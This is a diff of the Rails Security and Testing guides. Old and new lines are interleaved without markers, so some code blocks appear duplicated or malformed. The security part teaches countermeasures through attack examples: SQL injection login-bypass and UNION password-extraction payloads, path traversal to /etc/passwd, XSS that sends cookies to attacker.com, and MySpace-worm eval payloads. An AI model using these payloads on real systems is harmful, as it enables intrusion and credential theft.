One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
<ruby>
class Session < ActiveRecord::Base
def self.sweep(time_ago = nil)
time = case time_ago
when /^(\d+)m$/ then Time.now - $1.to_i.minute
when /^(\d+)h$/ then Time.now - $1.to_i.hour
when /^(\d+)d$/ then Time.now - $1.to_i.day
else Time.now - 1.hour
end
self.delete_all "updated_at < '#{time.to_s(:db)}'"
end
end
def self.sweep(time = 1.hour)
time = time.split.inject { |count, unit|
count.to_i.send(unit)
} if time.is_a?(String)
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end
</ruby>
The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
<ruby>
self.delete_all "updated_at < '#{time.to_s(:db)}' OR
delete_all "updated_at < '#{time.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
</ruby>
@ -291,7 +289,7 @@ def sanitize_filename(filename)
returning filename.strip do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.gsub! /^.*(\\|\/)/, ''
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
@ -326,7 +324,7 @@ Simply pass a file name like “../../../etc/passwd” to download the server's
<ruby>
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename =!
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'
</ruby>
@ -381,7 +379,7 @@ end
Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
<pre>
"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1
"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
</pre>
This will set the following parameters in the controller:
@ -396,7 +394,7 @@ Note that this vulnerability is not restricted to database columns. Any setter
<ruby>
class Person < ActiveRecord::Base
has_many :credits
has_many :children
accepts_nested_attributes_for :children
end
@ -471,7 +469,7 @@ h4. Brute-Forcing Accounts
-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
@ -536,7 +534,7 @@ h4. Good Passwords
-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
@ -556,7 +554,7 @@ class File < ActiveRecord::Base
end
</ruby>
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
<plain>
file.txt%0A<script>alert('hello')</script>
@ -572,7 +570,7 @@ h4. Privilege Escalation
-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
<ruby>
@project = Project.find(params[:id])
@ -621,7 +619,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.find(:all, :conditions => "name = '#{params[:name]}'")
</ruby>
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be:
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
<sql>
SELECT * FROM projects WHERE name = '' OR 1 --'
@ -631,7 +629,7 @@ The two dashes start a comment ignoring everything after it. So the query return
h5. Bypassing Authorization
Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
<ruby>
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
@ -640,7 +638,7 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
<sql>
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
</sql>
This will simply find the first record in the database, and grants access to this user.
@ -663,7 +661,7 @@ This will result in the following SQL query:
<sql>
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --')
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
</sql>
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
@ -729,7 +727,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
</plain>
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
<html>
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@ -753,7 +751,7 @@ With web page defacement an attacker can do a lot of things, for example, presen
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser very successfully, 50% of the attacks succeed.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
@ -828,7 +826,7 @@ MySpace blocks many tags, however it allows CSS. So the worm's author put JavaSc
<div style="background:url('javascript:alert(1)')">
</html>
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
<html>
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
@ -901,7 +899,7 @@ h4. Command Line Injection
-- _Use user-supplied command line parameters with caution._
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.

View File

@ -162,7 +162,7 @@ require 'test_helper'
class PostTest < ActiveSupport::TestCase
# Replace this with your real tests.
def test_truth
test "the truth" do
assert true
end
end
@ -186,7 +186,17 @@ The +PostTest+ class defines a _test case_ because it inherits from +ActiveSuppo
def test_truth
</ruby>
Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run.
Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+.
<ruby>
test "the truth" do
# ...
end
</ruby>
This makes test names more readable by replacing underscores with regular language.
<ruby>
assert true
@ -262,7 +272,7 @@ The +.+ (dot) above indicates a passing test. When a test fails you see an +F+;
To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
<ruby>
def test_should_not_save_post_without_title
test "should not save post without title" do
post = Post.new
assert !post.save
end
@ -272,16 +282,13 @@ Let us run this newly added test.
<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Loaded suite -e
Started
F
Finished in 0.197094 seconds.
Finished in 0.102072 seconds.
1) Failure:
test_should_not_save_post_without_title(PostTest)
[unit/post_test.rb:11:in `test_should_not_save_post_without_title'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
@ -290,7 +297,7 @@ test_should_not_save_post_without_title(PostTest)
In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:
<ruby>
def test_should_not_save_post_without_title
test "should not save post without title" do
post = Post.new
assert !post.save, "Saved the post without a title"
end
@ -299,21 +306,10 @@ end
Running this test shows the friendlier assertion message:
<pre>
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
F
Finished in 0.198093 seconds.
1) Failure:
test_should_not_save_post_without_title(PostTest)
[unit/post_test.rb:11:in `test_should_not_save_post_without_title'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
Saved the post without a title.
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
</pre>
Now to get this test to pass we can add a model level validation for the _title_ field.
@ -343,7 +339,7 @@ TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an
To see how an error gets reported, here's a test containing an error:
<ruby>
def test_should_report_error
test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
@ -354,18 +350,15 @@ Now you can see even more output in the console from running the tests:
<pre>
$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite unit/post_test
Loaded suite -e
Started
E
Finished in 0.195757 seconds.
Finished in 0.082603 seconds.
1) Error:
test_should_report_error(PostTest):
NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8>
/opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
unit/post_test.rb:16:in `test_should_report_error'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
/opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354>
/test/unit/post_test.rb:6:in `test_should_report_error'
1 tests, 0 assertions, 0 failures, 1 errors
</pre>
@ -446,7 +439,7 @@ Now that we have used Rails scaffold generator for our +Post+ resource, it has a
Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
<ruby>
def test_should_get_index
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:posts)
@ -479,7 +472,7 @@ NOTE: If you try running +test_should_create_post+ test from +posts_controller_t
Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
<ruby>
def test_should_create_post
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Some title'}
end
@ -535,7 +528,7 @@ h4. A Fuller Functional Test Example
Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
<ruby>
def test_should_create_post
test "should create post" do
assert_difference('Post.count') do
post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
end
@ -625,7 +618,7 @@ class UserFlowsTest < ActionController::IntegrationTest
# fixtures :your, :models
# Replace this with your real tests.
def test_truth
test "the truth" do
assert true
end
end
@ -660,7 +653,7 @@ require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
fixtures :users
def test_login_and_browse_site
test "login and browse site" do
# login via https
https!
get "/login"
@ -688,7 +681,7 @@ require 'test_helper'
class UserFlowsTest < ActionController::IntegrationTest
fixtures :users
def test_login_and_browse_site
test "login and browse site" do
# User avs logs in
avs = login(:avs)
@ -771,12 +764,12 @@ class PostsControllerTest < ActionController::TestCase
@post = nil
end
def test_should_show_post
test "should show post" do
get :show, :id => @post.id
assert_response :success
end
def test_should_destroy_post
test "should destroy post" do
assert_difference('Post.count', -1) do
delete :destroy, :id => @post.id
end
@ -809,17 +802,17 @@ class PostsControllerTest < ActionController::TestCase
@post = nil
end
def test_should_show_post
test "should show post" do
get :show, :id => @post.id
assert_response :success
end
def test_should_update_post
test "should update post" do
put :update, :id => @post.id, :post => { }
assert_redirected_to post_path(assigns(:post))
end
def test_should_destroy_post
test "should destroy post" do
assert_difference('Post.count', -1) do
delete :destroy, :id => @post.id
end
@ -841,7 +834,7 @@ h3. Testing Routes
Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
<ruby>
def test_should_route_to_post
test "should route to post" do
assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
end
</ruby>
@ -883,7 +876,7 @@ require 'test_helper'
class UserMailerTest < ActionMailer::TestCase
tests UserMailer
def test_invite
test "invite" do
@expected.from = 'me@example.com'
@expected.to = 'friend@example.com'
@expected.subject = "You have been invited by #{@expected.from}"
@ -920,7 +913,7 @@ Functional testing for mailers involves more than just checking that the email b
require 'test_helper'
class UserControllerTest < ActionController::TestCase
def test_invite_friend
test "invite friend" do
assert_difference 'ActionMailer::Base.deliveries.size', +1 do
post :invite_friend, :email => 'friend@example.com'
end